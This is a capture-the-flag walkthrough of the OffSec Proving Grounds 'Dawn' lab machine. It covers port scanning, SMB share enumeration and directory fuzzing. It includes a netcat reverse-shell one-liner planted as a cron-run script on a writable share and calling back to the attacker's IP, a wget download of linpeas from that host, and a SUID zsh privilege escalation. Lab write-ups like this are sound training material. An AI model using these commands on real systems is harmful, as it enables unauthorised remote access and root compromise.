

tags: Offsec PG Play Easy Linux # Dawn

```
(kali㉿kali)-[~/pgplay]
└─$ rustscan -a 192.168.217.11 -u 5000 -t 8000 --scripts -- -n -Pn -sVC

Open 192.168.217.11:80
Open 192.168.217.11:139
Open 192.168.217.11:445
Open 192.168.217.11:3306

PORT      STATE SERVICE      REASON  VERSION
80/tcp    open  http         syn-ack Apache httpd 2.4.38 ((Debian))
|_ http-server-header: Apache/2.4.38 (Debian)
|_ http-title: Site doesn't have a title (text/html).
|_ http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
139/tcp   open  netbios-ssn syn-ack Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn syn-ack Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
3306/tcp  open  mysql        syn-ack MySQL 5.5.5-10.3.15-MariaDB-1
|_ mysql-info:
|_ Protocol: 10
|_ Version: 5.5.5-10.3.15-MariaDB-1
|_ Thread ID: 16
|_ Capabilities flags: 63486
|_ Some Capabilities: ODBCClient, SupportsLoadDataLocal, FoundRows, IgnoreSpaceBeforeParenthesis,
Support41Auth, Speaks41ProtocolOld, LongColumnFlag, IgnoreSigpipes, SupportsTransactions,
DontAllowDatabaseTableColumn, SupportsCompression, InteractiveClient, Speaks41ProtocolNew,
ConnectWithDatabase, SupportsAuthPlugins, SupportsMultipleResults, SupportsMultipleStatements
|_ Status: Autocommit
|_ Salt: LP--<'K&xLT?}yfu8V+n
|_ Auth Plugin Name: mysql_native_password
Service Info: Host: DAWN
```
```

```
(kali㉿kali)-[~/pgplay]
└─$ smbclient -N -L 192.168.217.11
```

| Sharename | Type | Comment                                                                                               |
|-----------|------|-------------------------------------------------------------------------------------------------------|
| -----     | ---- | -----                                                                                                 |
| print\$   | Disk | Printer Drivers                                                                                       |
| ITDEPT    | Disk | PLEASE DO NOT REMOVE THIS SHARE. IN CASE YOU ARE NOT AUTHORIZED TO USE THIS SYSTEM LEAVE IMMEDIATELY. |
| IPC\$     | IPC  | IPC Service (Samba 4.9.5-Debian)                                                                      |

Reconnecting with SMB1 for workgroup listing.

| Server    | Comment      |
|-----------|--------------|
| -----     | -----        |
| Workgroup | Master       |
| -----     | -----        |
| WORKGROUP | WIN2K3STDVIC |

``` ffuf

```
(kali㉿kali)-[~/pgplay]
└─$ ffuf -u http://192.168.217.11/FUZZ -w /home/kali/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt

logs [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 57ms]
cctv [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 57ms]
server-status [Status: 200, Size: 791, Words: 228, Lines: 23, Duration: 58ms]
``` `http://192.168.217.11/logs/` can download `management.log`, check inside to see what is executed
```

2020/08/12 09:03:02 [31;1mCMD: UID=1000 PID=939 | /bin/sh -c /home/dawn/ITDEPT/product-control [0m  
2020/08/12 09:03:02 [31;1mCMD: UID=33 PID=936 | /bin/sh -c /home/dawn/ITDEPT/web-control [0m  
2020/08/12 09:03:02 [31;1mCMD: UID=33 PID=940 | /bin/sh -c /home/dawn/ITDEPT/web-control [0m  
``` Create a new file product-control, put it on smb and wait for it to be executed, then wait for reverse shell

```
## product-control
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.192 139 >/tmp/f

(kali㉿kali)-[~/pgplay]
└─$ rlwrap -cAr nc -nvlp139

(kali㉿kali)-[~/pgplay]
└─$ smbclient -N //192.168.217.11/ITDEPT

smb: \> put product-control
``` reverse can in `/home/dawn`get local.txt
```

```
dawn@dawn:~$ cat local.txt
7e61c65e515ae0a65004ac130d7cd05f
``` linpeas.sh
```

```
dawn@dawn:/tmp$ wget 192.168.45.192/linpeas.sh
dawn@dawn:/tmp$ chmod +x linpeas.sh
dawn@dawn:/tmp$ ./linpeas.sh

===== SUID - Check easy privesc, exploits and write perms
└─ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
-rwsr-xr-x 1 root root 842K Feb  4 2019 /usr/bin/zsh
``` find binary, Search[GTF0Bins] (https://gtfobins.github.io/gtfobins/zsh/#suid)
get rootafterget proof.txt in /root
```

```
dawn@dawn:/tmp$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/sbin/mount.cifs
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmccrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/bin/su
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/mount
/usr/bin/zsh
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/fusemount
/usr/bin/umount
/usr/bin/chfn
```

```
dawn@dawn:/tmp$ install -m =xs $(which zsh) .
dawn@dawn:/tmp$ /usr/bin/zsh
dawn# whoami
dawn# cd /root
cat proof.txt
1f4fe38355fdb247df1b0a94e25f0e5
```

---